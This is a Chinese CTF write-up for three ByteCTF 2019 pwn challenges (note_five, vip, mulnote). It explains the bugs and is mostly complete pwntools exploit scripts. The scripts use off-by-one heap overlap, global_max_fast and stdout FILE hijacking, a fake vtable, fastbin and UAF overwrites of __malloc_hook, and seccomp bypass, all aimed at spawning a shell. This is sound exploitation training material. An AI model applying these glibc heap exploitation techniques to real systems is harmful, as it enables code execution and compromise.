byteCTF
byteCTF note_five
这个题目没有可是输出堆块内容的选项,就是要劫持_IO_stdout了。
漏洞:
__int64 __fastcall read_in(__int64 ptr, signed int size, char a3)
{
__int64 result; // rax
char v4; // [rsp+0h] [rbp-20h]
unsigned __int8 buf; // [rsp+13h] [rbp-Dh]
int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]
v4 = a3;
v7 = __readfsqword(0x28u);
for ( i = 0; ; ++i )
{
result = (unsigned int)i;
if ( i > size )
break;
if ( (signed int)read(0, &buf, 1uLL) <= 0 )
{
puts("read error");
exit(0);
}
result = buf;
if ( buf == v4 )
break;
*(_BYTE *)(ptr + i) = buf;
}
return result;
}
堆块填充的时候,可以多填充一个字节,这个字节和堆块的最后一个字节相等。
漏洞利用
1、利用offbyone实现overlap
2、利用overlap实现改BK指针,攻击global_max_fast
3、改FD指针为stdout-0x51,成功实现劫持
4、改结构体从而泄露真实地址
5、然后伪造stderr的vtable,由于程序报错会执行vtable+0x18处的IO_file_overflow函数,所以将这个IO_file_overflow函数改成onegadget
6、malloc很大的块,最后触发IO_file_overflow中的_IO_flush_all_lockp,从而getshell。
这里_wide_data要填我们劫持的地址+1的位置,同时要改mode为1,表示报错模块。
这个方法比较冷门,利用报错时候的IO攻击
#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
exec_binary = "./bytectf_2019_note_five"
libcversion = '2.23'
local = 1
context.binary = exec_binary
context.log_level = "debug"
elf = ELF(exec_binary,checksec=False)
if local:
r = process(exec_binary)
if context.arch == "i386":
libc = ELF("/glibc/x86/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
elif context.arch == "amd64":
libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
else:
r = remote("")
def get_libc(addr,addr_name):
global libc,libcbase
libc = LibcSearcher(str(addr_name),addr)
libcbase = addr - libc.dump(addr_name)
success(libcbase + " ===> " + hex(libcbase))
def get_base(r):
text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
for key in r.libs():
if "libc.so.6" in key:
return text_base,r.libs()[key]
def debug(addr):
text_base,libc_base = get_base(r)
break_point = "set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
break_point+="b *" + str(addr) + "\nc"
gdb.attach(r,break_point)
def confirm(address):
n = globals()
for key,value in n.items():
if value == address:
return success(key+" ==> "+hex(address))
def malloc(idx,size):
r.recvuntil("choice>> ")
r.sendline("1")
r.recvuntil("dx: ")
r.sendline(str(idx))
r.recvuntil("size: ")
r.sendline(str(size))
def full(idx,content):
r.recvuntil("choice>> ")
r.sendline("2")
r.recvuntil("dx: ")
r.sendline(str(idx))
r.recvuntil("content: ")
r.send(content)
def free(idx):
r.recvuntil("choice>> ")
r.sendline("3")
r.recvuntil("dx: ")
r.sendline(str(idx))
malloc(0,0xf8)
malloc(1,0xf8)
malloc(2,0xe8)
malloc(3,0xf8)
malloc(4,0xf8)
free(0)
full(2,"a"*0xe0 + p64(0x2f0) + "\x00")
free(3)
malloc(0,0x2e0)
full(0,"a"*0xf0 + p64(0) + p64(0x101) + "b" *0xf0 + p64(0) + p64(0xf1) + "\n")
free(1)
full(0,"a"*0xf0 + p64(0) + p64(0x101) +p64(0)+ "\x38\x38" + "\n")
malloc(3,0xf8)
malloc(3,0xf8)
full(0,"A"*0xf0 + p64(0) + p64(0x101) + "b"*0xf0 + p64(0) + p64(0xf1) +"\n")
free(2)
full(0,"A"*0xf0 + p64(0) + p64(0x101) + "b"*0xf0 + p64(0) + p64(0xf1) +"\xcf\x25" +"\n")
malloc(3,0xe8)
malloc(4,0xe8)
full(4,"\x00"*0x41 + p64(0xfbad1800) + p64(0) * 3 + "\x00" + "\n")
libcbase = u64(r.recvuntil("\x7f")[-6:].ljust(8,"\x00")) - 0x39c600
one_gadget = libcbase + 0x3f3e6
confirm(libcbase)
fake_vtable = 0x39c5f8 + libcbase
#full(4,p64(0) * 7 + "\x00" + p64(vtable))
full(4,"\x00" + p64(fake_vtable - 0x18) + p64(0) * 3 + p64(1) + p64(0) + p64(one_gadget) + p64(fake_vtable) +"\n")
#fake_vtable = libcbase +
#gdb.attach(r)
malloc(1,1000)
#full(0,)
r.interactive()
还有一种解法
fastbin 接力
在实现地址泄露后,我们因为size的原因没办法实现修改malloc_hook,但是我们可以利用fast bin接力,由于malloc_hook前面有stdin,其内部恰好也有0xffffffffffffffff,继续进行fastbin attack,但是其不能修改到malloc_hook,但是我们可以fastbin attack接力,在中途写下一个0xf1的size,然后继续fastbin attack,这样就能修改到__malloc_hook
EXP
malloc(0,0xf8)
malloc(1,0xf8)
malloc(2,0xe8)
malloc(3,0xf8)
malloc(4,0xf8)
free(0)
full(2,"a"*0xe0 + p64(0x2f0) + "\x00")
free(3)
malloc(0,0x2e0)
full(0,"a"*0xf0 + p64(0) + p64(0x101) + "b" *0xf0 + p64(0) + p64(0xf1) + "\n")
free(1)
full(0,"a"*0xf0 + p64(0) + p64(0x101) +p64(0)+ "\x38\x38" + "\n")
malloc(3,0xf8)
malloc(3,0xf8)
full(0,"A"*0xf0 + p64(0) + p64(0x101) + "b"*0xf0 + p64(0) + p64(0xf1) +"\n")
free(2)
full(0,"A"*0xf0 + p64(0) + p64(0x101) + "b"*0xf0 + p64(0) + p64(0xf1) +"\xcf\x25" +"\n")
malloc(3,0xe8)
malloc(4,0xe8)
full(4,"\x00"*0x41 + p64(0xfbad1800) + p64(0) * 3 + "\x00" + "\n")
libcbase = u64(r.recvuntil("\x7f")[-6:].ljust(8,"\x00")) - 0x39c600
one_gadget = libcbase + 0x3f3e6
confirm(libcbase)
# 从这里开始用了不同的手法
free(3)
full(0,"a"*0xf0 + p64(0) + p64(0x101) + "c" * 0xf0 + p64(0) + p64(0xf1) +p64(0x39b96f + libcbase) + "\n")
malloc(2,0xe8)
malloc(3,0xe8)
full(3,"a" * 0xd0 + p64(0) + p64(0xff) +"\n")
free(2)
full(0,"a"*0xf0 + p64(0) + p64(0x101) + "c" * 0xf0 + p64(0) + p64(0xf1) +p64(0x39ba4f + libcbase) + "\n")
malloc(1,0xe8)
malloc(2,0xe8)
full(2,"b"*0xb1 + p64(one_gadget) + "\n")
malloc(2,0xe8)
r.interactive()
bytectf_2019_vip
[*] '/home/sh/practice/byteCTF/bytectf_2019_vip'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
这个没开PIE,不过开启了沙箱保护。
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x06 0x00 0x40000000 if (A >= 0x40000000) goto 0010
0004: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0009
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0009
0007: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0009
0008: 0x06 0x00 0x00 0x00050005 return ERRNO(5)
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
很明显的看出这是一个orw的题目。分析程序逻辑:
堆块申请的size固定为0x50 , edit功能很坑,里面的堆块输入函数:
ssize_t __fastcall sub_4014A8(void *ptr, int size)
{
int fd; // [rsp+1Ch] [rbp-4h]
if ( inuse_array )
return read(0, ptr, size);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
exit(0);
return read(fd, ptr, size);
}
可以看出,我们无法对堆块内容进行填充,它只会填充一些随机数进去。
漏洞点
在开启sand_box的函数中,可以发现明显的栈溢出漏洞:
read(0, &buf, 0x50uLL);
printf("Hello, %s\n", &buf);
v1 = 11;
v2 = &v4;
if ( prctl(38, 1LL, 0LL, 0LL, 0LL, *(_QWORD *)&v1, &v4) < 0 )
{
perror("prctl(PR_SET_NO_NEW_PRIVS)");
exit(2);
}
if ( prctl(22, 2LL, &v1) < 0 )
{
perror("prctl(PR_SET_SECCOMP)");
exit(2);
}
return __readfsqword(0x28u) ^ v92;
我们可以配置沙箱功能,这里说一下沙箱的配置规则,可以利用seccomp-tools这个工具:
struct sock_filter filter[] = {
BPF_STMT(BPF_LD|BPF_W|BPF_ABS, 0), // 从第0个字节位置开始,加载读取系统调用号
BPF_JUMP(BPF_JMP|BPF_JEQ, 257, 1, 0), // 比较系统调用号是否为 257(257 是 openat 的系统调用),是就跳到第5行
BPF_JUMP(BPF_JMP|BPF_JGE, 0, 1, 0), // 比较系统调用号是否大于 0,是就跳到第6行
BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ERRNO), // 拒绝系统调用,返回 0
BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW), // 允许系统调用
};
我们改写成如果调用OPen就返回0,这样edit功能就可以使用了,剩下的就是很简单的了。
这个题的难点在于哪个规则到底怎么写的,可以看看seccomp-tools的文档,
https://github.com/david942j/seccomp-tools
http://blog.eonew.cn/page/2
我是用这个tools直接反汇编asm文件出来的:
A = sys_number
A == openat ? ok:allow
ok:
return ERRNO(0)
allow:
return ALLOW
Mulnote
[*] '/home/sh/practice/ctf-writeups/byte_ctf_2019/pwn/mulnote/mulnote'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: '/glibc/x64/2.23/lib/'
这个题目逆向有点难,基本靠动态调试猜,差不多就是个UAF的弱鸡堆题(猜不出来就不这么说了,哈哈哈)。
malloc(0x98, '\n')
malloc(0x68, '\n')
malloc(0x68, '\n')
free(0)
Show()
r.recvuntil('note[0]:\n')
result = r.recvuntil('\n', drop=True)
main_arena_addr = u64(result.ljust(8, '\0')) - 88
log.success('main_arena_addr: ' + hex(main_arena_addr))
libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))
free(2)
free(1)
Edit(1, p64(main_arena_addr - 0x33))
malloc(0x68, '/bin/sh\0')
malloc(0x68, 'z' * 0x13 + p64(libc_addr + 0x4526a))
r.sendafter('>', 'C\0')
r.sendlineafter('size>', str(1))
r.interactive()